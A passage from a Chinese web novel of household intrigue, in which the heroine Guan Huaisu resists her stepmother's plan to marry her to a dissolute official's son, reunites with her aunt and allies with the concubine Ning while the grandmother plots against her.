对话到这里,便是女子喘息媚笑的声音,孙文书哪里还听得下去,勃然大怒拂袖而去! 这会子终于见到关怀素,立时便把前天亲耳听到的事情说了,最后怒斥:“此人简直是寡廉鲜耻至极,世所罕见!” “什么脏的臭的都敢往大姑娘身边扒拉!”丁妈妈闻言也是气恨,说,“大娘子到底知不知道自己相看的是什么玩意儿?” “她定然知道。”关怀素冷声说,“咱们大娘子可是京师出名的贤惠人呢。” “难怪姑娘几次三番打马夫人的脸,她也不恼,这马修文来京师都收不住性子,消息灵通的人家定然都知道了,他定娶不到好的了!”柳叶愤怒地说,“这不只能靠姓孙的贱妇,想骗个身家清白的官宦小姐遮羞!” 众人都大怒,关怀素心中也是气恨至极,眼见天色已晚,便对孙文书说:“师兄,我知道了,这几日辛苦你了,你回去好好休息。” 孙文书知道她是个有谋略的,到底还是担心她在后宅行事不便,叮嘱:“你见机行事,若是有什么要帮手的,随时叫人来平安县叫我!” 见关怀素答应下来,他才放心离开。 “多亏关老爷子还留了人手给大姑娘,否则咱们两眼一抹黑,这等紧要的事情都不知道!”丁妈妈并不知道孙文书的来历,只以为这是关怀远留下的人手,这会子只庆幸地拍胸口。 又啐道:“大娘子好狠的心,竟找了个这么五毒俱全的人来,难为她能在那么多青年才俊里找到这么个下贱货色!” 几人说着话,回家就见小荷在院子里有些着急地张望,见到关怀素回来,立刻眼前一亮,匆匆过来说:“姑娘,后门那边托人找丁妈妈,说是丁妈妈家里人来看妈妈了!” 丁妈妈立刻问:“是我家大郎和二郎来了?” 见小荷点头,丁妈妈立刻便出去了。 一会儿丁妈妈就悄无声息地回来,说:“姑娘,跛三派的小子们回来了,说陈妈妈那女儿一家,过的比寻常富户还舒服呢!” 关怀素正在屋里燃了炭盆,和柳叶一起烤干头发,闻言便说:“仔细说说。” “陈妈妈那女儿不是嫁了庄子上的庄头么?”丁妈妈闻言立刻细说起来。 却原来陈妈妈那女儿如今嫁人也有十来年了,膝下已经有三女二子,最大的孩子也已经十来岁了。 他们家两个儿子都送去读了书,不但如此,在庄子上住的都是主人房,且还在京师置办了一套小院子,过的极为殷实富庶。 “如今京师的房子可不便宜,听说一套一进院子都已经要八百两往上了。”柳叶咋舌,说,“寻常官宦若无家底,等闲也买不起京师的小房子,大多是赁居,他们哪里来的那么多钱?就靠陈妈妈和白有才贴补?” “可是陈妈妈和白有才再贴补,也不该如此富庶。”关怀素皱眉,沉声说,“老夫人瞧着不是手松散的人,陈妈妈哪里来的钱?” 丁妈妈闻言眼睛一亮,说:“姑娘,这里头只怕有猫腻,不如我去打探一下?” 关怀素闻言立刻点头,轻声说:“妈妈无需太冒险,陈妈妈把持老夫人院子这么多年,难道没有想出头的其他妈妈?” 丁妈妈登时眼睛爆出精光。 她立刻懂了,马上喜不自胜地说:“姑娘的意思我明白了!我这就去办!” 事情吩咐完,关怀素便想练习一下焚香,然后便休憩一会子,却没想到老天不让她得闲。 丁妈妈才出去,小荷便匆匆进来,紧张地说:“姑娘,雪沫姐姐跟我说,程家姨母递了拜帖,人在外头等着,想邀姑娘家里去做客,可被大娘子拦住了,说是姑娘您不愿意去。雪沫姐姐让我问问姑娘,可真是姑娘的意思?” “什么?!”关怀素一听,登时大怒,拍案而起。 她知道程姨母经历过那样的过去,虽看着坚强,但是那都是外人,若是心中在意的人如此对待她,只怕不知道多伤心。 因此关怀素顾不得其他,起身就往外头走。 几乎是奔跑着到了前院,到了大门口就看到孙大娘子带着人站在门口,正满脸端庄皮笑肉不笑地冷声说:“程娘子请自重,您是什么人,满京师都是知道的,您若是真的关心婉玉,就更不该来看她,更别提邀她去你家里,到时候带累了婉玉的名声,累及她的婚嫁,你难道就乐意了?” 这话说得实在是诛心,门口的人一时竟都没有回话。 程娘子不是个委曲求全的人,但是她此刻却一句话都说不出来,是因为孙大娘子这话说到了她最害怕的地方。 “大娘子为何如此羞辱我姨母?”关怀素气冲天灵盖,人还没到就扬声怒斥,“程爷爷一生保家卫国,拒敌于家国之外,保卫不知多少百姓安康!程姨母作为程将军女儿,因为阴毒小人陷害,父兄皆死,受丧亲之痛,又遭遇许多坎坷,圣人都曾下旨将陷害程将军的御史一家满门抄斩,乃是为姨母遭遇愤怒愧疚……大娘子拿此事羞辱国之忠良之后,是不满陛下圣裁吗?!” 这事儿当然是关怀素胡扯的,毕竟她根本不知道圣人是什么想法,但是她能肯定的是程爷爷当年保家卫国,还是跟着先帝的帐下先锋,这样的人物,儿子被诬陷私通敌国被斩首,唯一的小女儿被充入官妓,虽是陛下被蒙蔽,但是此事翻案成功之后,不免让老臣寒心。 当今陛下哪怕是装,也得假装出内疚悲伤来,绝对不敢轻忽,否则一不小心就会失了武将一系的人心。 所以她敢光天化日之下直接扯陛下做幌子,直接斥责孙大娘子。 孙大娘子本来趾高气扬,被关怀素这么一说,顿时脸上惊怒交加,她在后宅能摆弄开,天生聪慧,却并不懂朝堂大事,自然一下子被关怀素拿捏到,一时又惊又气,竟说不出话来,只能恼怒地说:“婉玉,女孩子家家的,在外人面前大呼小叫成何体统?回你屋里去!” 但是关怀素却完全不听,走到门口,对着挡住门的丫鬟婆子怒声说:“让开,我姨母来见我,凭什么不许我出去?” “就是,凭什么不许我们一起出去?!”外头程娘子还没做声,却听到一个飒爽姑娘的声音,直接说,“当初关老先生散尽家财救故交之后,街头巷尾谁不传颂他仁义之心?婉玉姐姐有外祖遗风,重情重义,凭什么让你们拦着不许和亲人来往?” 这话里外夹击,一时让孙大娘子不好再拦。 丫鬟婆子们看孙大娘子脸色难看,一时有些犹豫,正在僵持的时候,门口龙行虎步走进来一个执马鞭的年轻姑娘,她生得壮实匀称,肤色如麦子一般健康漂亮,有种虎虎生风的悍烈之美。 这姑娘走到门口,拿着马鞭指着丫鬟婆子们呵斥:“都给我让开!不然我就抽人了!” 此话一出,丫鬟婆子们吓得纷纷避开,关怀素见此,立刻就往外头走。 身后拿着披风的丁妈妈与柳叶刚巧赶到,立刻给她披上袄子。 “婉玉,你想好了,从这里出去,日后你的路是什么样子,就全看你自己了!”孙大娘子冷声压低声音警告关怀素。 关怀素回头看孙大娘子一眼,突然笑了,说:“我以前可听话了,如鹌鹑一般战战兢兢……我过得好吗?” 此话一出,孙大娘子脸色黑如锅底。 关怀素却根本不管,只转过身去,朝着外头含泪看着她的程娘子走过去,亲热地喊一声:“姨母,你终于来接我了!” 程娘子听她为自己分辩,一句句听得清清楚楚,心中知道这孩子长大了,心中明辨是非,是真的一点也不介意她这个姨母的过去了。 她心中感动万分,眼泪含着不敢落下,只能哽咽地拍着关怀素的手,连声轻声说:“嗯、嗯,好孩子,是姨母耽搁了……” 孙大娘子在大门口,看着关怀素扬长而去,脸上阴森的快要滴出水来。 “娘子……”周妈妈小声,“人走了,我们回去罢?” 孙大娘子深呼吸,低声说:“回去。” 也罢,不过是一时让她得意一番,后日宴会把婚事定了,她怎么闹也是一场空罢了! 想到这里,孙大娘子脸上的狠厉之色才稍微褪去,慢慢恢复成温和的样子。 而几乎才一刻钟,正院里的老夫人和崔妙人也知道了这场争执。 “这丫头如今性子太刚强了,实在是不好弹压。”老夫人听到回话,脸色登时垮下来,只叫婉蓉先回屋里休息,等她走了才对崔妙人皱眉说,“上回让你办的事儿,怎地一直没个动静?” 崔妙人脸色发苦,立刻蹲身请罪说:“老祖宗,大姑娘那院子如今整治的铁桶一般,我让下人试探了好几回,实在找不到机会下手。” 见老夫人脸上露出不满之色,她也不敢起身,便小心地说:“大娘子也不耐烦她了,当年那契约的事儿,她又不知道,做证的陶大人也多年不见回来,指不定人还在不在世上呢,这时候找机会一副嫁妆打发出去,也没什么。” “哼,那滁州刺史可是个实缺!”老夫人便不满地说,“那家里还是御史中丞马大人的亲弟弟,指不定过些年是不是要高升回京。到时候她要是遇到那姓闵的,岂不是节外生枝?” “老祖宗,您有所不知。”崔妙人便笑着说,“我打听了,大娘子找的那家人,实在是滁州出名的荒唐浪荡子,还没娶妻,有名分的妾室就已经四房,家里的丫鬟媳妇子据说没有他不沾手的,又是秦楼楚馆的常客。他那后宅可不是个太平地方,大姑娘去了,不一定能从那帮斗惯的女人手里活下来。” 见老夫人还是不满意,崔妙人便又放软了声音,轻声说:“再说了,到时候总要有人陪嫁过去的,实在不成,悄悄地塞几个人陪嫁过去,这妇人生产,总是要过鬼门关的……届时找准机会,不显山不露水,便在滁州解决了,总比在京师方便呢。” 老夫人听到这里,眼睛一亮,立刻便神色缓了下来。 “还是妙人你贴心。”老夫人笑着招呼她过去,崔妙人立刻上前,笑着给老夫人按背。 “珺儿什么都好,就是娶的媳妇不行。”老夫人闭着眼睛,享受崔妙人的按摩,一边轻声冷冷地说,“生的也是个遭人厌的,之前瞧着只让人不喜,如今牙尖嘴利,更让人瞧着不爽利。” “您说得是。”崔妙人笑笑,轻声附和,说,“这人和人啊,有时候确实要看天定的缘分。是善缘呢,便怎么都能相处好,是恶缘,便是怎么都处不好。” “你也不用安慰我。”老夫人怒声说,“那哪里是不好,分明就是个毒妇!” 崔妙人便轻声安慰:“老祖宗,您别再想了,想多了伤身。” “你说的是,哎。”老夫人眼圈发红,竟是不胜悲伤,年纪大了却也不敢放任下去,便强行压下来,闭目养神不提。 () 第四十七章 暗自筹谋 关怀素不知家里各人打算,正拉着姨母说话。 她也不客气,上了马车就说:“姨母便是不来,我也想着去找您呢。您可知道,我家里那个大娘子,最近在琢磨给我说亲,看的是滁州刺史的儿子马修文。” 程娘子立刻皱起眉头,说:“马修文?是御史中丞马大人那侄子么,最近才回京师的?” 看关怀素点头,程娘子神色一凝,说:“我听说,那马公子品行似乎不太好,具体我不太晓得,一会儿到了地方,我问问珠儿,她与小姐妹出行较多,知道年轻人的事情。” 程娘子说的珠儿就是那英姿飒爽的骑马姑娘,她的祖父乃是当初程将军的老友,同是先帝帐下将士,双方是生死之交,因此后辈关系极其密切,彷如一家人。 厉如珠性子爽快,等到了程娘子家中,程娘子问厉如珠关于马公子的事情,厉如珠顿时一口茶差点没兜住,得亏反应快,侧头喷到了一侧。 而后她挥退丫鬟,拿袖子擦擦嘴,震惊问关怀素:“我们私底下都在说,不知谁家女孩这么倒霉要嫁给马修文那混账……那倒霉鬼竟是你?!” 程娘子敲她脑门一下,呵斥:“浑说什么呢,只是婉玉她那后娘想这么安排,你快说说,若真是混账,难道还真看着婉玉遭难不成?我头一个不答应!” 说到最后一句,程娘子脸色已经冷下来,身上有了煞气。 厉如珠顿时松了口气,拍胸口说:“没定下来就好,那马修文打马球的时候,大家都是抢球,他倒是好,盯着姑娘冲撞,只想着往我们身上蹭,十分下流,我们后来再不叫他了。” “光天化日的,竟这么猖狂?”这马修文行为举止太过荒诞,便是程娘子都不敢相信,忍不住问,“他不怕满京师都知道么,怎地一点也不收敛?” “那没有。”厉如珠摇头,说,“他先头装了七八天吧,后来才没忍住露了真面目。” “这、这等腌臜人物,如今京师只怕不少人私底下也晓得了,孙萍千挑万选,就选了这个人?!”程娘子气地抚心口,而后又冷笑一声,说,“是了,她替马家办好这事儿,日后少不得好处,她想把你卖了给自家闺女儿子铺路,想都别想!” 程娘子说完,气得一拍桌子,震得桌上的卤花生都跳了起来。 “要不我去设伏,把那孙大娘子打一顿?”厉如珠看着程娘子,热情地拍了拍自己的肩膀自荐。 关怀素“噗嗤”一声笑出声来,厉如珠转头,有些生气地说:“喂,我可是为你出头也,你还嘲笑我?” “不是,我没有嘲笑的意思。”关怀素看她误会,立刻解释,“我觉得姐姐你古道热肠,侠肝义胆,非常英勇。” 这一顿夸下来,厉如珠脸上的表情瞬间高兴了,她奇怪地看着关怀素说:“姨母没骗人,你确实性子变了许多。先头我邀你出来玩,你回回拒绝,还劝我女子应当安分,便偶尔在宴会上遇到,你也从来假装与我不认识,如今怎地换了个人一般?” 厉如珠这话说的,一下子让程娘子有些紧张,生怕关怀素觉得被质问之前为人处事不当,立刻便要把话头引开,关怀素却阻止了程娘子,认真地对厉如珠说:“我自小便被拘在后宅教养,原先是我不懂事,把真心关心我的人拒之门外,反倒是听信小人谗言,是婉玉的错,婉玉跟姨母与厉姐姐道歉。” 说完,她起身行了一礼。 这礼关怀素发自内心,哪怕姐姐被奸人蒙蔽,错过了这些真心关心她的人,但是起码这些人哪怕次次碰壁,却依然真心地关心着姐姐,担心姐姐的处境,这对关怀素来说,就是天大的情分。 程娘子眼前一热,连忙抱住关怀素,连声说:“我的玉儿,你是受了多大的委屈,才换了个人一般,竟是把什么都想分明了。” 关怀素也是眼前发热,哪里是姐姐想清楚了,是姐姐已经被害死了啊! 但是许多话,便是与程娘子也是不好说的,于是关怀素只能回抱住程娘子,落下泪来。 这一番抱头落泪之后,关怀素与姨母之间再无一丝隔阂,反而愈发亲热,便是厉如珠听完她的处境,也从心底里生出义愤填膺来,连忙安慰关怀素,拍着胸脯说,日后若是有什么事情,只管来找她,又说以后遇到一起玩云云。 众人说完闲话,拿帕子稍微擦了擦脸,终于说到了后日孙大娘子的宴会来。 “李家后宅里,我只有几个贴心的丫鬟,其他仆婢都是大娘子与崔小娘的心腹,若是宴会真在家里办,到时候我就怕百密一疏,真正闹出什么事儿,我便再无翻身之日了……”关怀素叹了口气,捏着帕子说。 “不成那日我也去,我倒要看看,在我眼皮子底下,孙萍敢玩什么花招!”程娘子一脸悍烈,冷声说,“若真敢做什么,我拼这条命,也要叫她死!” 一旁厉如珠想了想,说:“妹妹、姨母,你们别担心,她这个宴会应该办不成。” 看二人都回头看她,厉如珠立刻说:“我早上才得的消息,大长公主后日打算大摆宴席,届时满京师人都得去,算算时间,刚巧撞上你那继母的生辰。” “什么?!”程娘子大喜,连忙抓着关怀素的手,连声说,“阿弥陀佛,这可是老天爷都看不过去了,在帮着咱们婉玉呢!” 关怀素也是大喜,心中一块大石终于落地。 大家心中都没了忧虑,终于放开,开心地聊了一下午,到了晚上,姨父陈松下值回家,关怀素才依依不舍道别。 “哎呀呀,屋里好容易热闹了一天,又要清冷了。”程娘子颇为舍不得地看着关怀素上马车,不由自主拿着帕子擦眼睛,显见是哭了。 旁边的陈大人伸手拍她的后背,却因为性子似乎天生有些木讷的关系,一句安慰的话都说不出来。 关怀素连忙伸出头来笑着说:“姨母可别忙着哭,那西边厢房既说了留给我日后来顽,便好好收拾,选些好用的笔墨砚台啥的……到时候我日日过来,姨母到时候别嫌弃我赖着不走就行!” 她这话俏皮话一说,顿时冲淡了离别情绪,想到如今确实今时不同往日,日后见面的时候确实不少,程娘子也顿时心中松快了些,到底也破涕为笑,也打趣说:“知道了!你只管来就是!” 说着想到什么,关怀素刚要收回头,就看到姨母突然提起裙摆,几步走到面前,踮脚凑到马车窗边悄声对关怀素叮嘱:“玉儿,姨母这些日子给你置办了衣衫首饰,你今儿带回去看看,后日你便好生穿戴起来。” 看关怀素没明白,程娘子跺了跺脚,轻声说:“傻孩子,大长公主素来不爱排场,这回弄这么大的动静,定是为了平安侯的婚事。” 怕关怀素不上心,程娘子急促地说:“大长公主常年在外,驸马又是不管事的,这平安侯日后成婚之后,定然是新妇管家,到时候一嫁过去就能当家做主,尊贵又清闲……满京师的闺秀虽多,但是你娘当初与大长公主是同窗,身份情分自有不同。玉儿你好好表现,未必不能雀屏中选!知道吗?记得,好好打扮!” 最后这段话说的是又快又急,关怀素听得还在愣,那边厉如珠看着程娘子说完话离开,立刻一夹马肚子启程,身后陈家的马车夫也跟一挥鞭子跟上。 “姑娘,方才程娘子说了什么?”柳叶好奇地问关怀素。 关怀素这会儿彻底反应过来程娘子说的内容,脑子里想到了周乐天的样子。 昔日破城去敌、英雄盖世的少年将军,如今已经变的单薄羸弱,不但如此,还背负上了叛国骂名。 可是哪怕如此,他真的想娶妻,应当可以满天下随意拣选。 姨母只怕是想多了,宴会上,她和周乐天只怕见都见不到,哪里需要细细打扮? “没什么,姨母叮嘱我小心行事。”因此关怀素只是笑了笑,即刻把此事抛之脑后去了。 她此刻需要细想的是——如何改变家里的局势。 关怀素闭着眼睛,默默地想着家里局势。 崔妙人和孙萍立场一致,都想把她扫地出门,她在李家内宅需要一个同盟,一个能与孙萍和崔妙人分庭抗礼、又绝对不会背叛自己的人。 “宁小娘的身体如何了?”关怀素轻声问身边的柳叶。 柳叶一愣,立刻回答:“郎中说宁小娘伤了根本,如今看着好了许多,但是还得继续温养。后续得常年吃人参养着,估计得要个一年半载才能大好。” 关怀素闻言,想到宁小娘那张脸,她心中暗暗有了打算。 便在这个时候,马车到了地方。 “婉玉妹妹,吵架完回家了,你害怕不?”下了马车,就看到厉如珠翻身下马,提着马鞭有些痞地对她笑。 关怀素笑了一下,摇头,说:“有什么好害怕的,该害怕的是她们才是。” 她说话的时候脸上像是带着笑,但是实则神色冰冷,在西斜的长街上看着有种莫名的肃杀感。 厉如珠愣了一下,问:“你真不害怕啊?” “没什么好怕的。”关怀素看着李家,轻声说,“我这个人呢,最怕的不是别人恶毒,我最怕的,反而是别人很好。” “什么意思?”厉如珠不解。 “因为对好人下手,未免太过阴险小人。但是若对方是阴险小人呢,我便毫无顾忌,可以放开手脚施为了。”关怀素脸上带着温柔的笑,轻声说。 然后对厉如珠点点头,说:“回去时小心点,一路平安,厉姐姐。” 而后,厉如珠就看到她转身,换上了一副恬淡温柔的笑容,扶着丫鬟往李家宅子里款款行去。 “姑娘?”程家随车送人的老妈妈挑起帘子问厉如珠怎地还不走。 “妈妈回去吧,我自个儿骑马回去!”厉如珠回过神来,对着程家的老妈妈挥手,一夹马腹,马蹄声骤起,瞬间便潇洒离去。 “这婉玉姐姐有点意思……”厉如珠在马背上微微笑了一下,轻声自言自语了一句,“倒真像是换了个人一般。” 她如风一般驰骋而去,身后的关怀素也已经回了李家。 () 第四十八章 结盟 才进院子,就看到丁妈妈怒火冲冲地与小荷一起抬着一个箩筐往外走。 “这是怎么了?”关怀素看了一眼,笑着打趣,“谁惹你们了,瞧着跟斗鸡似的?” “姑娘!她们欺负人!”小荷一看到关怀素,立刻露出委屈神色,眼里含着泪花说,“今儿才发的新碳,少了不说,还点不燃!” 关怀素伸头一看,框子周围湿润润的,她心中顿时有数,问丁妈妈:“妈妈,这是给的湿炭?” “不但是湿炭,还是最次等夹着泥灰的垫脚炭,哪怕是晾干了也都是浓烟!乡下屋里都不用这炭火!”丁妈妈怒声说,“这玩意儿灶里烧都嫌烟大呢!” “无事,柳叶,去屋里拿钱,我们自买些上等新炭火就是。”关怀素摇摇头,说。 “我去找他们去,这事儿是他们理亏!”丁妈妈显然舍不得钱,忍不住说。 “这不是理亏不理亏的事情。”关怀素温声开导丁妈妈,说,“你拿这炭火去找谁?找底下人,大家都听大娘子的命令行事,闹大了,我去找父亲?那大娘子可以申斥下人,发作几次,这又有什么用呢?到头来让下人觉得我刻薄,闹得多了,让父亲觉得我不省心,说不得以后还觉得是我性子不大度……今儿个我与大娘子吵了那么一场,她只怕就等着我们去闹呢。” 这些拿捏人心的事情,孙大娘子很擅长,用来拿捏姐姐确实也够了,但是对关怀素来说,真正是洞若观火,一点也激不起她心中风浪。 丁妈妈听得明白了,还是觉得心中不忿,难受地说:“难道就由她拿捏不成?” “那倒不是,这些炭火都摆在院子里,好好存着,我过段时间有用。”关怀素说话之间心中已经有了打算,说,“我估摸着宁小娘那边也没炭火,柳叶,你与我一起过去看看罢。” 丁妈妈虽不明白关怀素要做什么,但是她知道自家姑娘脑子灵光,她虽然不忿,但还是去做了。 关怀素就带着柳叶一路往对面院子去。 宁小娘的院子里,如今倒是显得焕然一新了。 只是院子里没伺候的人,显得寂寥了些。 关怀素推门而入,进去之后,看到宁小娘靠坐在床上正在喝粥。 这是关怀素第一次看到她坐起身,上回躺着就已经看到这位宁小娘十分貌美,如今看她坐起来,才发现她气色好了之后,美得荡人心魄。 按说崔小娘也是风流妩媚,千里挑一的人物,看着保养也十分得当。 但是与宁小娘一比,却完全不够看。 哪怕是关怀素一个女子,看着宁小娘的时候,依旧会被她的美震撼的有一刻走神。 “大姑娘来了。”宁小娘看到关怀素进门来,推开云青喂到嘴边的勺子,想起身说话。 “不用,小娘大病初愈,合该养着才是。”关怀素回过神来,立刻上前阻止宁小娘下床,过去给她掖好被褥,边说:“听说小娘身子骨好了?如今冬日寒冷,多将养一下,等到春暖花开,到时候多出去走走,好得快些。” “这些日子多亏了你,我听云青说,我屋里这些衣裳炭火全数都是大姑娘自掏腰包给安排的,药钱更是花了一百多两银子,我这样的人,怎地就值当姑娘这么抛费……”宁小娘显然是感动又羞愧,说着说着,眼圈发红,竟是带着泪水。 “是啊,今儿我们院子里送进来的都是最下等的炭,根本烧不着,得亏姑娘送来的这些银丝炭,不然今年冬日咱们小娘还不知怎么熬呢。”云青感动地说。 说着拿着帕子擦眼睛,显然也是为自家小娘和自己委屈。 “哎,如今屋里大娘子与崔小娘各自当家,家里其他人自然不好过了。”关怀素温声叹息,轻声说,“不瞒小娘,我那院子里,今儿发下来的炭火也是垫脚炭。” 宁小娘顿时一愣,脱口而出:“她们怎么敢!” “怎么不敢的,我家姑娘这些年,说实话,也就是面上光,私底下过的与小娘这大半年的日子也差不多了。”柳叶心里想着真正的大姑娘,愤恨地说完,又说,“今儿我们大姑娘的姨母来探望,大娘子堵在门口不让进来,我家姑娘忍不住出去见了亲人,回来屋里领的炭火就成了湿炭……这就算了,大娘子还打算把我家姑娘许给一个有了小妾庶子的人呢!” 此话一出,宁小娘顿时吓得瞪圆了眼睛,不可思议地说:“这、这……老爷他不管?!” “后宅的事情,哪里事事都管得过来呢?不过是一些风言风语,没有确实证据,我若是去闹,万一给抓住把柄反将一军,反而更难了。”关怀素苦笑一下,摇了摇头。 宁小娘震惊得说不出话来。 关怀素看着她,并没有打算隐瞒自己的意思,她直视着宁小娘,然后温声说:“小娘可想为孩儿报仇雪恨?” 宁小娘浑身一震,眼睛发出厉光,脱口而出:“大姑娘有办法?” 关怀素微微颔首,轻声说:“我确实有办法,至少先帮小娘先脱了困境。” “大姑娘,你要我做什么,只管告诉我便是!”宁小娘猛地握住关怀素的手,眼神之中带着狠厉与强烈的狂喜,她赌咒发誓一般的语气,连声说,“大姑娘,我自己个脑子不好,对付不了崔妙人那个贱人,也动不了孙萍那会算计的……” 她郑重地说:“但是只要能给我那未出世的孩儿报仇……大姑娘告诉我怎么做,我一定好好做!” 关怀素看着她,也郑重地反握住宁小娘的手,认真地说:“如此,那我今日就与小娘击掌为誓,结为盟约。” 二人在空中击掌三声,声音清脆,如翠玉崩裂一般。 东院,大长公主的帖子到了。 婉淑知道后日可以去大长公主宴会,喜不自胜,竟一时激动得坐卧不宁。 孙大娘子看着不太像话,放下帖子立刻对婉淑说:“婉淑,不过一个酒会而已,你大大小小的宴会参加过多少,怎地今儿还沉不住气?” 婉淑正跟点墨吩咐,一会儿回屋把自己那几套压箱底的衣衫拿出来熏熏,这会子听到母亲说话,脸庞飞起一抹悄不可见的红霞,有些扭捏地对母亲说:“阿娘,我这不是头一次去公主府……” “你别拿这些虚话头哄我。”大娘子摇头,压低声音说,“你是我生的,想什么我还不知道?” 她使了个眼色,周妈妈立刻带着所有丫鬟全出去了,屋里只剩下母女二人,孙大娘子这才坐下来看着婉淑说:“如今满京师都传,大长公主这回回京要给小侯爷相看婚事……你就也想着,万一你有机会,是不是?” “阿娘!”婉淑心中确实有点不可见人的小心思,这会子没想到被阿娘直接这样点出来,她立刻又羞又窘,急迫地喊了一声,然后有点倔强地承认:“万、万一呢,我又没有做什么,阿娘何必这样臊我。” 孙大娘子摇摇头,温声说:“婉淑,你是我生的,阿娘永远都会为你打算。你但凡有你大姐姐和二姐姐那样的姿色,阿娘拼命也会为你争取到更多机缘。可是你最多不过中人之姿,你父亲官身不显,赵二郎已经是你最好的选择,婉淑,此时你绝不可以有一丝动摇与贪念,不然阿娘怕你连赵二郎都留不住。” 孙大娘子这话说的很重,婉淑咬牙,显然有些不愿意接受。 没有一个年轻姑娘愿意承认自己天生容貌不如别人,尤其是在择夫婿这件事上,赵二郎虽好,哪里抵得上小侯爷万分之一? 不说地位,哪怕是外貌,小侯爷也胜过赵二郎百倍千倍了。 这道理孙大娘子何尝不懂,年少慕艾,小侯爷那脸与当年驸马长得极其相似,真当得起一句郎艳独绝。 所以婉玉心动,孙大娘子也十分理解。 但是她却也清楚地明白,婉淑绝对没有一丝机会,平安侯绝不是婉淑能肖想的。 因此她看着婉淑还在赌气,立刻拉着不情愿的婉淑走到镜子前,然后扳正婉淑的头,让她看着大铜镜,在婉淑耳侧冷声说:“婉淑,你看着镜子,看看你和阿娘!” 婉淑看着镜子里的自己,看到母亲冷脸问:“你看清楚,阿娘与你,可算得上美貌?可比得过西院母女二人?!” 婉淑的眼泪一瞬间就落下来了,她的隐秘心思被母亲无情戳穿就算了,偏母亲还这么冷酷地让她直视自己不够漂亮、不够吸引男子的事实。 婉淑落泪之后,又变成大哭起来。 她知道自己不够漂亮、身份地位也不高,能攀上赵家都算是极好的结果,这还是看在父亲与赵家的约定上。 可是这对一个年轻姑娘来说,要面对这么冷酷的算计与自我估量,太残酷了。 残酷到婉淑根本无法面对,只能嚎啕大哭。 孙大娘子也是眼圈发红,也心疼自己的女儿,可是她却只是冷冷地看着婉淑哭。 因为今日不哭,若是去了宴会上做出什么出格的事情,失了赵二郎的心,到时候两头落空,那才是有一辈子哭的时候。 “婉淑,你记着。正是因为你不够漂亮,所以你才一步路都不能走错。”孙大娘子看着婉淑哭完,蹲下身看着女儿,郑重地说,“你不够漂亮,所以你要格外懂事、温柔、忠诚,尤其是忠诚,你要让赵二郎明白,你虽姿色不够,但是你比任何人都坚定地只认准他一个人,比婉蓉和婉玉都坚定,哪怕对方是小侯爷也是如此。” 看着婉淑满脸惊疑,孙大娘子问:“你明白吗?” 婉淑满脸泪水,她虽有年少意气,许多时候总还稚嫩,却到底是母亲多年教养,于是抽泣着慢慢冷静下来,很快悟出了母亲的意思。 婉淑不可置信地抬头看母亲:“阿娘,你的意思是,二姐姐还敢肖想小侯爷不成?” 看母亲居然未否认,婉淑不可置信地说:“她是个五品官家的庶女!她、她们哪里来的信心?” “你且看着吧。西院那对母女可不这样想。”孙大娘子冷笑一声,说,“她们心气,可比咱们的还高呢。” 但是这是好事,孙大娘子轻声对婉淑说:“后日酒宴,你越是端庄稳重,越会衬的婉蓉轻浮浪荡、摇摆不定。” 娶妻娶贤,赵二郎哪怕心中也是年少慕艾,却也一定不会喜欢踩着他还看着别人的女人。 婉淑听母亲抽丝剥茧地说完,顿时心中又涌起狂喜——她确实倾慕小侯爷,但是这种倾慕是仿佛看着湖中月水中纱一般的憧憬。 对于所谓的能被小侯爷看上,那也是怀着仿佛万中之一的幻梦一般的单纯喜悦。 但是当这层幻梦被母亲戳穿之后,婉淑落在了实处,能嫁给一直喜欢的二哥哥,对她来说就是最好的选择。 而有机会能把婉蓉踩下去,对婉淑来说,就是最好的事情。 想到这里,婉淑顿时容光焕发,一时激起无数斗志。 “阿娘,您和我一起去我屋里,给我掌掌眼,看看我后日如何打扮、如何行事!”婉淑擦了擦脸,兴奋地拉着阿娘撒娇。 而看到女儿彻底清醒过来,孙大娘子也放下心来,母女二人一起商量打扮,又细细说了许多私房话,闹到了半宿才歇下。 () 第四十九章 听壁脚 京师传言越来越烈,都说这回大长公主宴会,乃是为了侯爷娶妻之事。 一时之间,居然京师精巧的首饰和料子都卖空了。 李家也是如此,崔妙人那院子里连着几日都是布庄和首饰坊的掌柜来去,流水一般没断绝过。 倒是东院瞧着安静,关怀素心中暗暗感慨,孙萍确实是沉得住气。 到了出发这日,关怀素选了姨母之前给她买的一套烟紫色衣裙,外搭灰兔毛大氅,戴着姨母买的那套赤金镶彩宝头面,柳叶眼睛都看直了,连声夸好看。 “哎呀是好看,和寺里的仙女一般!”丁妈妈也跟着赞叹,“姑娘素日装扮的太素净了,如今这样一看,格外好看呢!” “且比不上。”关怀素笑了一下,有点促狭地说,“走,我们去前头请安,咱们去看看真正的富贵!” 到了老夫人院子里,果然一眼看到婉蓉,差点晃花了关怀素的眼睛。 婉蓉素喜浓艳之色,她本身也衬这些,但是素日到底也不是多宽裕,再浓艳也不过寻常打扮。 今儿却是一身的银红色山水纹提花绫,外头穿着的比甲上用蝶贝拼了扣子,头戴莲花鎏金冠,耳边带着红珊瑚耳铛……真正是富贵牡丹一般,把她的容色衬托到了极致。 倒是婉淑和预想中一样,都和关怀素差不多,只端庄清贵,却并不过于华丽夺目。 见到众人进门,两个姐妹装扮远不及自己,婉蓉心中骄傲,抚着珊瑚耳铛,笑着说:“不愧是祖母的东西,婉蓉还没戴过这么漂亮的红珊瑚耳铛呢!” “那是,你祖母的东西,件件可都是宝贝,便是满京师首饰铺子都寻不到的好东西!”崔小娘在旁边笑说,“偏你祖母疼你,这样好的东西都舍得给你!” 老夫人笑的慈爱,连声说:“婉蓉衬这耳铛,年轻小姑娘,很该戴些鲜亮的。我听说今日是大长公主宴会,你们也都各拿一对吧。” 说着,老夫人指了指面前的托盘,她身边的丫鬟立刻上前,把托盘拿到了婉淑与关怀素面前。 那上面是一对孔雀石的金耳铛与一对珍珠耳铛。 那孔雀石颜色极正没有丝毫杂色,而珍珠虽好,却天长日久微微有些黯淡,婉淑一伸手就先拿了那对孔雀石的耳环,笑着就摘了耳朵上的耳铛对祖母道谢。 关怀素就拿过那对珍珠耳铛,也跟着换了。 老夫人看着极为满意,温声叮嘱她们:“素日在家里怎么闹脾气都无事,这回出去可是代表李家的脸面,切不可淘气。” 然后又冷声问关怀素:“婉玉,你可记得了?” 这期间态度对比极其明显,关怀素心中冷笑,知道老夫人这会儿是故意给她脸色,面上却一派天真地笑着说:“婉玉自小得祖母教养,知道什么该做什么不该做,祖母只管放心。” 言下之意十分明显,这可是祖母亲手教养多年的结果,祖母你一再重复,难道是你教养的人有什么问题? 